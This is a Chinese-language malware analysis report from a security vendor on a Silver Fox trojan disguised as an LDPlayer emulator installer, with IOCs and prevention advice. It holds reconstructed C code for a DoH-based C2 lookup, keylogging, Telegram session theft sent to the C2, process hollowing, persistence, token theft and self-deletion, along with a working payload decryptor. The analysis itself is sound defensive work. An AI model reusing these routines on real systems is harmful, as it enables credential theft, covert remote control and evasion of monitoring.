概述
近日 瑞星威胁情报平台 捕获到一起银狐木马的攻击事件,该木马将自身包装为雷电模拟器安装包,以篡改的 INNO Setup 程序作为初始投递载体,通过白加黑 DLL 劫持逐层解密释放银狐木马本体。该变种最显著的特征是采用了DNS-over-HTTPS(DoH)隐蔽通信——将 C2 域名 oidng2.duoshit.com 的解析请求封装在 HTTPS 中发往阿里 DNS(223.5.5.5)和 Google DNS(8.8.8.8)的 DoH 端点,使恶意流量与正常公共 DNS 访问完全无法区分,从而绕过企业 DNS 监控和防火墙策略。银狐本体还具备 VMProtect 虚拟化保护、键盘记录、凭据窃取、进程注入、屏幕截图、权限提升及多重持久化等完整的后门远控能力。
攻击流程

样本分析
初始样本分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | ldplayer9_ld_112_ld.exe |
| 文件大小 | 7873 KB |
| 文件MD5 | 8c4fc902905459a53f686372a1a85526 |
| 文件类型 | EXE |
| 主要功能 | 释放恶意白加黑组件并启动 |
该样本为被篡改的INNO Setup打包程序,核心功能是在释放恶意白加黑组件的同时附带雷电模拟器安装包,以此伪装成正常软件,达到迷惑受害者并规避检测的目的。

wjcapture.dll分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | wjcapture.dll |
| 文件大小 | 66596 KB |
| 文件MD5 | 319c718edc390a304acb0bc8886e0da5 |
| 文件类型 | DLL |
| 病毒名 | Trojan.ShellCodeRunner!1.14266 |
| 主要功能 | 读取 Update.xml 并解密其内容,在内存中执行解密后的 shellcode |
该 DLL 内部代码大量插入了垃圾指令用于对抗静态分析和反汇编器。以下 7 类指令的共同特征:执行后对程序输出无任何可观测影响。判定标准:写入的寄存器或标志,在下一次被读取之前被另一条指令覆盖,且不影响控制流。
BCD 算术指令(aad、aam、aaa、daa、das)
x86 中用于 BCD 编码十进制运算的调整指令,现代编译器早已不再生成。在本样本的 XOR 循环体中,aad 0AFh 对 AL 执行 BCD 除法调整,结果立即被下一条 bswap ax 覆盖——AX 被字节反转重写,aad 的调整值未参与任何后续计算。
0x410CBC6 aad 0AFh
0x410CBC8 bswap ax
死标志操作(pushf/popf、lahf、clc/stc/cmc)
这类指令显式读写 EFLAGS 标志寄存器。lahf 将标志位低字节加载到 AH,但紧跟的 clc 清除 CF 位(覆盖了 AH 中对应的标志副本),随后 mov eax, [ebp-8] 完全不依赖标志位。从程序状态角度看,lahf 和 clc 对后续指令的执行结果没有任何影响——它们写入的数据或标志在下一次被读取前均已失效。
0x410CBE7 lahf
0x410CBE8 clc
0x410CBE9 mov eax, [ebp-8]
死位操作(btc/btr/bts/bt、bswap)
btc 测试并取反寄存器中的单个比特位,bswap 反转 32 位寄存器的字节序。在本样本中,bswap ax 交换 AX 的高低字节后,紧跟的 btc ax, cx 对 AX 执行位测试取反,将整个 AX 作为位掩码操作数覆写。两条指令的累积操作结果在后续代码中均未被读取——从数据流追踪的角度,这对 AX 的操作序列等效于 nop。
0x410CBC8 bswap ax
0x410CBCB btc ax, cx
无意义比较(cmp/test 后无 jcc)
cmp 执行减法并设置 EFLAGS,test 执行按位与并设置 EFLAGS。两者的输出只有标志位,没有通用寄存器结果,因此只有在后续指令消费这些标志时才有意义。cmp dl, 0Ah 比较后,下一条指令是 add eax, edx——只读通用寄存器,不检查任何标志位。EFLAGS 中刚写入的比较结果在下一条算术指令执行时被自然覆盖。
0x410CC09 cmp dl, 0Ah
0x410CC0C add eax, edx
虚假栈操作(push imm → lea esp, [esp+N])
正常栈操作为保存/恢复寄存器或传递参数。垃圾指令中的栈操作则是"push 后立即废弃"的模式:push 4FC95A67h、pusha、pushf 连续向栈顶写入数据,随即 lea esp, [esp+8] 将栈指向上拨,越过前面 push 的内容。期间写入栈内存的字节从未被任何指令读取——既无 pop 也无间接寻址引用。单次循环迭代中这种无效栈写入可达 12-20 字节。
0x410CBF7 push 4FC95A67h
0x410CBFC pusha
0x410CBFD aaa
0x410CC04 pushf
0x410CC4C lea esp, [esp+8]
花指令(jmp $+5)
利用 x86 变长指令编码特性构造反汇编陷阱。jmp $+5 的跳转目标落在自身指令末尾后第 5 字节处,该位置是下一条真实指令(mov eax, [ebp-4])编码的第 1 个字节偏移处。当反汇编器从函数开头线性扫描时,会在该点产生指令边界错位——将跳转目标地址的第一字节误解为新指令的操作码,导致后续所有反汇编结果整体偏移。
0x410CBCF jmp $+5
0x410CBD4 mov eax, [ebp-4]
无意义移位(shld/shrd、rol/ror)
shld 将两个操作数拼接后左移,rol/ror 执行循环移位。shld dx, sp, cl 将 DX 和 SP 拼成 32 位值左移 CL 位后,结果存入 DX。紧跟的 bsf dx, di 对 DI 做位扫描并将结果写入 DX——上一条 shld 的移位结果直接被覆盖。这类重型移位指令在这里除了消耗 CPU 周期外,还可能因 rol/ror 的视觉特征误导分析者朝 RC4/RC5 等循环移位加密算法的方向去猜测。
0x410CC0E shld dx, sp, cl
0x410CC12 bsf dx, di
解密函数汇编还原
去除上述 7 类垃圾指令后,还原出的解密函数核心逻辑如下:
; ── 阶段1: 种子初始化 ──
mov eax, [ebp+0x0C] ; eax = file_size
xor eax, edx ; eax = file_size ^ *(DWORD*)data
; edx 已预装密文前4字节 0x5854194A
mov [ebp-0x04], eax ; state = seed
mov [ebp-0x08], 0x04 ; i = 4
jmp loop_check ; goto 循环条件
; ── 阶段2: 循环条件 (loop header) ──
loop_check:
mov eax, [ebp-0x08] ; eax = i
cmp eax, [ebp+0x0C] ; i vs file_size
jl loop_body ; i < file_size → 继续循环
jmp exit ; 否则退出
; ── 阶段3: 密钥流递推 (state increment, 拆分版) ──
loop_body:
add [ebp-0x04], 0x0C ; state += 12
add [ebp-0x04], 0x35 ; state += 53
add [ebp-0x04], 0x3E ; state += 62
; ; ≡ state += 127 (0x7F)
; ── 阶段4: 读密文字节 ──
mov edx, [ebp-0x08] ; edx = i
mov eax, [ebp+0x08] ; eax = data
add eax, edx ; eax = &data[i]
movzx eax, byte ptr [eax] ; eax = data[i] (零扩展至32位)
; ── 阶段5: XOR 解密 ──
mov edx, eax ; edx = data[i]
mov eax, [ebp-0x04] ; eax = state (32-bit)
mov ecx, edx ; ecx = data[i]
xor ecx, eax ; ecx = data[i] ^ state
; ── 阶段6: 偏移写回 ──
mov eax, [ebp-0x08] ; eax = i
lea edx, [eax-0x04] ; edx = i - 4
mov eax, [ebp+0x08] ; eax = data
add eax, edx ; eax = &data[i-4]
mov edx, ecx ; edx = (BYTE)(data[i] ^ state)
mov byte ptr [eax], dl ; data[i-4] = 解密字节
; ── 阶段7: 循环递增 ──
add [ebp-0x08], 0x01 ; i++
jmp loop_check ; 回到循环条件
exit:
; ... (混淆的出口链,最终 retn)
C 等效代码
种子由待解密的恶意载荷前 4 字节与文件大小异或生成,随后从第 4 字节起逐轮递推:每轮 seed += 0x7F,取低 8 位与当前载荷字节异或,结果写回偏移 -4 的位置,实现零额外缓冲区的就地解密。混淆代码中 seed += 0x7F 被刻意拆为 0x0C + 0x35 + 0x3E 三条指令以隐藏递推常量,消除拆分后核心仅 3 行:
void decrypt(BYTE* data, DWORD file_size) {
DWORD seed = (*(DWORD*)data) ^ file_size; // 种子
for (DWORD i = 4; i < file_size; i++) {
seed += 0x7F; // 32-bit 线性递推
data[i - 4] = data[i] ^ (BYTE)seed; // XOR 解密, 偏移写回
}
}
Python 解密脚本
经验证,该脚本可成功解密该银狐变种的 Update.xml。
import struct
def decrypt(data: bytes) -> bytes:
"""解密恶意载荷,返回明文(末4字节残留丢弃)"""
data = bytearray(data)
first_dword = struct.unpack_from('<I', data, 0)[0]
state = (first_dword ^ len(data)) & 0xFFFFFFFF # 32-bit 种子
for i in range(4, len(data)):
state = (state + 0x7F) & 0xFFFFFFFF # 32-bit 模加法
data[i - 4] = data[i] ^ (state & 0xFF) # 取低8位 XOR, 偏移写回
return bytes(data[:len(data) - 4]) # 丢弃末4字节残留
内嵌银狐木马分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 1005 KB |
| 文件MD5 | a63b2d1aeab6322fda74d20e0a54c4b7 |
| 文件类型 | DLL |
| 病毒名 | Backdoor.SilverFox!1.141D8 |
| 主要功能 | 银狐远程控制木马 |
样本加了 VMProtect 壳,.vmp0 段占 780KB,约 67% 的函数被虚拟化保护无法直接反编译。但 .text 段中仍有大量辅助函数可分析,配合 218 个导入 API 和明文字符串,可完整还原其恶意功能。DLL 入口点及导出函数代码如下:
// DllEntryPoint
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == 1) { // DLL_PROCESS_ATTACH
Init_COM_And_Modules(); // COM初始化, 遍历全局函数指针表调用各模块初始化
g_pfnCleanup1 = Init_Core_Wrapper(); // FPU初始化→全局结构初始化→thunk到.vmp0
} else if (!fdwReason) { // DLL_PROCESS_DETACH
Cleanup_DLL_Shutdown(); // DLL卸载清理 + CoUninitialize
}
return VM_Thunk_Dispatch(result);
}
// 导出函数 Fuck
int Fuck()
{
return VM_Entry_Thunk(); // → VM_Main_Payload(.vmp0) → VM_Entry_Point (VM Entry)
}
DLL 加载后首先初始化 COM,遍历模块初始化函数指针表,随后进入 VM 保护层执行主 payload。导出函数 Fuck 是对外部调用者暴露的统一入口。
C2 通信
样本最值得关注的是其 DNS-over-HTTPS(DoH)隐蔽通信能力。传统恶意软件通常直接连接 C2 服务器,DNS 查询和流量容易被企业安全设备监控。银狐将恶意 C2 域名解析封装在 HTTPS 请求中发送到公共 DoH 服务,使其看起来像正常的 HTTPS 流量,从而绕过 DNS 监控和防火墙策略。
样本的 .data 段中硬编码了三个公共 DNS 服务器的 IP 地址,与 DoH 请求模板配合使用:
| IP 地址 | DNS 服务商 |
DoH 端点 |
用途 |
|---|---|---|---|
223.5.5.5 |
AliDNS (阿里公共 DNS) | https://dns.alidns.com/dns-query |
通过阿里 DNS 的 DoH 服务解析 C2 域名 |
223.6.6.6 |
AliDNS (阿里公共 DNS 备用) |
https://dns.alidns.com/dns-query |
备用 DoH 解析 |
8.8.8.8 |
Google Public DNS |
https://dns.google/dns-query |
通过 Google DNS 的 DoH 服务解析 C2 域名 |
与 DoH 配合使用的关键字符串:
| 字符串 | 含义 |
|---|---|
https://%s/dns-query?dns=%s |
DoH 请求模板 — %s 填入 DNS 服务器 IP 或域名 |
/dns-query?dns=%s |
DoH 查询路径 — RFC 8484 标准 API |
oidng2.duoshit.com |
C2 域名 — 通过 DoH 查询解析其 A 记录获取真实 IP |
@%d.%d.%d.%d |
IP 地址格式化 — 解析 DoH 返回的 C2 服务器 IP |
基于以上字符串、DNS 服务器 IP 和 WinHTTP 导入 API,还原的 DoH 解析流程如下:
// 基于字符串和导入API还原: `DNS`-over-`HTTPS` 隐蔽隧道
void C2_DoH_Resolve()
{
// 硬编码的三个DoH DNS服务器
const char* doh_servers[] = {
"223.5.5.5", // AliDNS (阿里公共DNS)
"223.6.6.6", // AliDNS 备用
"8.8.8.8" // Google Public DNS
};
for (int i = 0; i < 3; i++) {
// 1. 将C2域名包装为DNS A记录查询
char dns_query_b64[256];
Base64Encode_DNSQuery("oidng2.duoshit.com", dns_query_b64);
// 2. 构造 `DoH` `HTTPS` 请求 URL
char url[512];
sprintf(url, "https://%s/dns-query?dns=%s",
doh_servers[i], dns_query_b64); // 如: https://223.5.5.5/dns-query?dns=...
// 3. 用 `WinHTTP` 发起 `HTTPS` 请求 — 流量看起来像访问阿里DNS/Google的443端口
HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 ...", ...);
HINTERNET hConnect = WinHttpConnect(hSession, doh_servers[i], 443, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET",
L"/dns-query?dns=...", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
WinHttpSendRequest(hRequest, ...);
WinHttpReceiveResponse(hRequest, NULL);
WinHttpReadData(hRequest, response, ...);
// 4. 解析 `DoH` JSON 响应, 提取 `C2` 服务器 IP
char c2_ip[16];
if (Parse_DoH_Response(response, c2_ip)) {
// 5. 用解析出的 IP 直连 C2
connect(c2_sock, c2_ip, 443);
return;
}
}
}
这种方案的隐蔽性极高:企业出口设备只能看到去往 223.5.5.5(阿里 DNS)或 8.8.8.8(Google DNS)的 443 端口 HTTPS 流量,与正常用户访问公共 DNS 服务完全一致。传统 DNS 黑名单、DNS 隧道检测、域名信誉系统对此类加密 DNS 流量完全失效——安全设备既看不到被查询的域名,也无法区分恶意查询和正常查询。
除此之外,样本还具备两条备用 C2 通道:
| 通道 | 实现 | 用途 |
|---|---|---|
TCP 自定义协议 |
WS2_32 (send/recv/connect/accept/bind/listen) |
直连 C2,自定义消息格式 |
WinHTTP/WinINET HTTPS |
WinHttpSendRequest / HttpSendRequestA |
标准 HTTPS C2,与 DoH 共享 WinHTTP 库 |
TCP 通道使用自定义协议格式,相关代码如下:
// Net_Build_Packet — 自定义TCP协议数据包构造
void Net_Build_Packet(void *buf, int type, int flag, void *data)
{
Packet_Write_Field(buf, 3, type); // 写入消息类型
Packet_Write_Field(buf, 7, flag); // 写入标志
Packet_Write_Data(buf, 15, data); // 写入数据载荷
send(sock, buf, len, 0); // `TCP` 发送
}
键盘记录
样本通过 SetWindowsHookExA 安装全局低级键盘钩子(WH_KEYBOARD_LL),实时捕获用户按键。
GetKeyState、GetForegroundWindow、GetWindowTextA、CallNextHookEx 构成了完整的键盘记录链。相关代码如下:
// KeyboardProc — 键盘钩子回调
LRESULT __stdcall KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (!nCode) {
key_info = Get_Key_Info(1, lParam); // 获取按键信息
key_str = Keylog_KeyMapper(key_info, wParam, key_code); // 虚拟键→可读字符串
if (Str_Compare_Check(key_str, &g_DefaultValue)) {
ForegroundWindow = GetForegroundWindow(); // 获取前台窗口
if (g_hLastForeground != ForegroundWindow) { // 窗口切换检测
g_hLastForeground = ForegroundWindow;
timestamp = Keylog_Timestamp(0, 0, 0); // 时间戳: YYYY-MM-DD HH:MM:SS
win_title = Keylog_GetWindowTitle(ForegroundWindow); // 获取窗口标题
Encrypt_And_WriteLog(2, log_handle, 0, ...); // 加密写入
}
}
}
return CallNextHookEx(hhk, nCode, wParam, lParam);
}
RC4 加密引擎
.text 段中包含完整的 RC4 流加密实现,用于加密键盘记录和配置文件:
// RC4_KSA — 密钥调度, 初始化256字节S-box
unsigned __int8 *RC4_KSA(unsigned __int8 *state, int key, unsigned int keylen)
{
for (int i = 0; i < 256; ++i) {
state[i] = i;
state[i] = *(unsigned __int8 *)(i % keylen + key);
}
for (int i = 0; i < 256; ++i) {
int j = (state[i] + j + state[i]) % 256;
swap(state[i], state[j]);
}
state[256] = 0; state[257] = 0;
return state;
}
// RC4_Block_Encrypt — 块链RC4, 4096B分块+位置依赖密钥
int RC4_Block_Encrypt(int offset, int data, int len, const void *rc4_state, int a5, const void *key32)
{
qmemcpy(rc4_state_internal, rc4_state, 0x102u);
for (int block = offset / 4096; len > 0; block++) {
RC4_KSA_Init(rc4_state_internal, &block_key, 40); // KSA(块计数XOR密钥)
int chunk = min(len, 4096);
RC4_PRGA_Crypt(data, chunk, rc4_state_internal); // PRGA 流加密
len -= chunk; data += chunk;
}
return 1;
}
凭据窃取
样本中以下字符串明确了凭据窃取目标——Telegram Desktop 的会话数据目录:
| 字符串 |
|---|
%s\Telegram Desktop\tdata |
Program Files\Telegram Desktop\tdata |
Program Files (x86)\Telegram Desktop\tdata |
tdata 目录包含 Telegram 的登录会话数据,窃取后可在攻击者机器上直接恢复会话,绕过二次验证。导入表中有 FindFirstFileA / FindClose(文件遍历),印证了搜索和收集行为。基于导入 API 还原的凭据窃取流程如下:
// 基于导入API和字符串还原: Telegram凭据窃取
void StealTelegramSession()
{
// 尝试三个常见Telegram安装路径
const char* paths[] = {
"%s\\Telegram Desktop\\tdata", // %APPDATA% 路径
"Program Files\\Telegram Desktop\\tdata", // 64位安装路径
"Program Files (x86)\\Telegram Desktop\\tdata" // 32位安装路径
};
for (int i = 0; i < 3; i++) {
HANDLE hFind = FindFirstFileA(paths[i], &findData);
if (hFind != INVALID_HANDLE_VALUE) {
// 遍历 `tdata` 目录, 收集 D877F783D5D3EF8C* / key_data* / map* 等会话文件
do {
if (findData.cFileName[0] != '.') {
ReadFile_And_SendToC2(findData.cFileName); // 读取并回传C2
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
}
}
}
进程注入
导入表中以下 API 构成经典的进程镂空注入链,将恶意代码注入合法系统进程以隐藏自身:
| API | 用途 |
|---|---|
CreateProcessA |
创建挂起进程 (CREATE_SUSPENDED) |
VirtualAllocEx |
在目标进程中分配内存 |
WriteProcessMemory |
向目标进程写入 shellcode |
GetThreadContext |
获取挂起线程的上下文 |
SetThreadContext |
修改线程入口点指向 shellcode |
ResumeThread |
恢复线程执行 shellcode |
OpenProcess |
打开目标进程句柄 |
TerminateProcess |
终止进程 |
基于以上 API 调用链,还原的进程镂空注入流程如下:
// 基于导入API还原: 进程镂空注入 (Process Hollowing)
void InjectToProcess(char *targetPath, void *payload, DWORD payloadSize)
{
STARTUPINFO si = {0}; PROCESS_INFORMATION pi;
// 1. 创建挂起的目标进程
CreateProcessA(targetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 在目标进程中分配内存
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, payloadSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3. 写入恶意shellcode
WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL);
// 4. 获取线程上下文, 修改入口点
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = (DWORD)remoteMem; // 新入口点 = `shellcode`地址
SetThreadContext(pi.hThread, &ctx);
// 5. 恢复线程 - `shellcode`开始执行
ResumeThread(pi.hThread);
}
持久化
样本字符串揭示了三种持久化方式:
| 字符串 | 方式 |
|---|---|
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\%s |
注册表 Run 键 |
$svchost.exe -k netcssv |
Windows 服务 (伪装 svchost) |
%s\%s.lnk |
启动目录快捷方式 |
导入表中 CreateServiceA、OpenSCManagerA、RegSetValueExA、RegCreateKeyExA 对应以上持久化操作。基于导入 API 还原的持久化安装流程如下:
// 基于导入API和字符串还原: 三种持久化方式
void InstallPersistence(char *exePath)
{
// 方式1: 注册表 Run 键 (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
HKEY hKey;
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
RegSetValueExA(hKey, "UpdateCheck", 0, REG_SZ, exePath, strlen(exePath));
RegCloseKey(hKey);
// 方式2: Windows 服务 (伪装成 svchost.exe -k netcssv)
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SC_HANDLE hSvc = CreateServiceA(hSCM, "netcssv", "Network CSS Service",
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
"$svchost.exe -k netcssv", // 伪装命令行
NULL, NULL, NULL, NULL, NULL);
CloseServiceHandle(hSvc);
CloseServiceHandle(hSCM);
// 方式3: 启动目录快捷方式 (.lnk)
char lnkPath[MAX_PATH];
SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, lnkPath);
strcat(lnkPath, "\\Update.lnk");
CreateShortcut(lnkPath, exePath); // Shell32 IShellLink
}
自删除
字符串 %s /c ping -n 3 127.0.0.1 > nul && del %s 是一条延迟自删除命令。基于该命令模板还原的执行流程如下:
// 基于字符串还原: 延迟自删除, 清除入侵痕迹
void SelfDelete(char *selfPath)
{
char cmd[512];
// ping -n 3 = 约3秒延迟, 确保自身进程已退出后再删除
sprintf(cmd, "%s /c ping -n 3 127.0.0.1 > nul && del %s",
"cmd.exe", selfPath);
WinExec(cmd, SW_HIDE); // 隐藏窗口执行
ExitProcess(0); // 退出自身进程
}
权限提升
导入表中 DuplicateTokenEx、WTSQueryUserToken、CreateProcessAsUserA、OpenProcessToken、SetTokenInformation、AdjustTokenPrivileges 构成 Token 窃取与提权链。基于导入 API 还原的提权流程如下:
// 基于导入API还原: Token窃取与提权
BOOL ElevateToSystem()
{
// 1. 枚举活动用户会话, 获取已登录用户的Token
DWORD sessionId;
HANDLE hUserToken;
for (sessionId = 0; sessionId < 10; sessionId++) {
if (WTSQueryUserToken(sessionId, &hUserToken)) {
// 2. 复制Token以获得可用的主Token
HANDLE hDupToken;
DuplicateTokenEx(hUserToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);
// 3. 以高权限Token创建新进程 (如以SYSTEM身份运行cmd.exe)
STARTUPINFO si = {0}; PROCESS_INFORMATION pi;
CreateProcessAsUserA(hDupToken, NULL, "cmd.exe",
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
CloseHandle(hDupToken);
CloseHandle(hUserToken);
return TRUE;
}
}
return FALSE;
}
屏幕截图
字符串 [PrintScreen] 和 %s\Scrnshot.dll 表明样本具备屏幕截图功能,部分实现可能由独立插件 DLL 承载。
WshShell 与 TaskScheduler 的 COM 调用
调用流程为获取 WshShell 对象 → CreateShortcut 创建 → 依次设置 TargetPath、WorkingDirectory、Arguments、WindowStyle → 最后 Save 写入磁盘。
.data 段中相关字符串及交叉引用:
| 字符串 | xref | 说明 |
|---|---|---|
wshom.ocx |
0x10007BAF | Windows Script Host 的 COM 库文件。导入表中 CLSIDFromProgID 和 CoCreateInstance 配合此库创建 COM 对象 |
WshShell |
0x10007BBB | ProgID,传入 CLSIDFromProgID 获取 WshShell 类的 CLSID,再由 CoCreateInstance 实例化 |
WorkingDirectory |
0x10007CE2 | IWshShortcut 接口属性,设置快捷方式的工作目录(对应 .lnk 文件属性中的"起始位置") |
Arguments |
0x10007D2D | IWshShortcut 接口属性,设置快捷方式的命令行参数 |
WindowStyle |
0x10007D79 | IWshShortcut 接口属性,设置运行窗口样式(正常/最小化/最大化) |
Save |
0x10007DA7 | IWshShortcut 接口方法,将内存中的快捷方式对象序列化写入磁盘生成 .lnk 文件 |
{0f87369f-a4e5-4cfc-bd3e-73e6154572dd} |
— | Windows TaskScheduler 的 CLSID,传入 CoCreateInstance 可直接实例化 ITaskService 接口来创建和管理计划任务,全程不调用 schtasks.exe |
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

总结
银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
8c4fc902905459a53f686372a1a85526 319c718edc390a304acb0bc8886e0da5 -
Domain
oidng2.duoshit.com -
IPV4
51.79.18.52 -
瑞星病毒名
Trojan.ShellCodeRunner!1.14266 Backdoor.SilverFox!1.141D8